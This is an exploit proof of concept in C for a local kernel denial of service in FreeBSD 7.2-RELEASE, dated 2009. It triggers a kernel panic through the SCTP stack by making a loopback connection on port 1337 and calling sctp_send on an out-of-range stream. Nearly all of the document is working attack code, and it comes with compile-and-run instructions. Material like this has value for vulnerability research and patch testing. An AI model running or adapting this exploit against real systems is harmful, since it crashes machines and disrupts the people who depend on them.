FreeBSD 7.2-RELEASE SCTP Local Kernel Denial of

/* fbsd-sctp-panic.c** freebsd 7.2-RELEASE SCTP local kernel DoS (kern panic)* only tested on 7.2-RELEASE, probably older and newer builds are vuln.  as well* based on an unfixed bug found here: <http://www.freebsd.org/cgi/query-pr.cgi?pr=136803>** by Shaun Colley <shaun@rsc.cx>, Wed 05 Aug 2009** $ gcc fbsd-sctp-panic.c -o fbsd-sctp-panic && ./fbsd-sctp-panic* wait a few seconds..** - shaun*/

#include <stdio.h>#include <sys/types.h>#include <netinet/in.h>#include <netinet/sctp.h>#include <arpa/inet.h>#include <unistd.h>#include <netdb.h>#include <string.h>#include <signal.h>#include <sys/time.h>#include <fcntl.h>

int csock, sock, lsock;

void *accept_connection() {struct sockaddr_in sin;socklen_t size = sizeof(sin);

sin.sin_family = AF_INET;sin.sin_addr.s_addr = htonl(0x7f000001);sin.sin_port = htons(1337);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);bind(sock, (struct sockaddr *)&sin, sizeof(sin));listen(sock, 1);lsock = accept(sock, (struct sockaddr *)&sin, &size);}

void recvdata() {int flag;struct sctp_sndrcvinfo recvinfo;char buf[10];sctp_recvmsg(csock, buf, sizeof(buf), NULL, 0, &recvinfo, &flag);}

void make_connection() {struct sockaddr_in consin;struct sctp_sndrcvinfo sinfo;

csock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);consin.sin_family = AF_INET;consin.sin_addr.s_addr = htonl(0x7f000001);consin.sin_port = htons(1337);

connect(csock, (struct sockaddr *)&consin, sizeof(consin));signal(SIGALRM, recvdata);sinfo.sinfo_stream = 1337;sctp_send(lsock, "pwned", sizeof("pwned"), &sinfo, 0);}

int main() {

alarm(2);signal(SIGALRM, make_connection);accept_connection();

return 0;}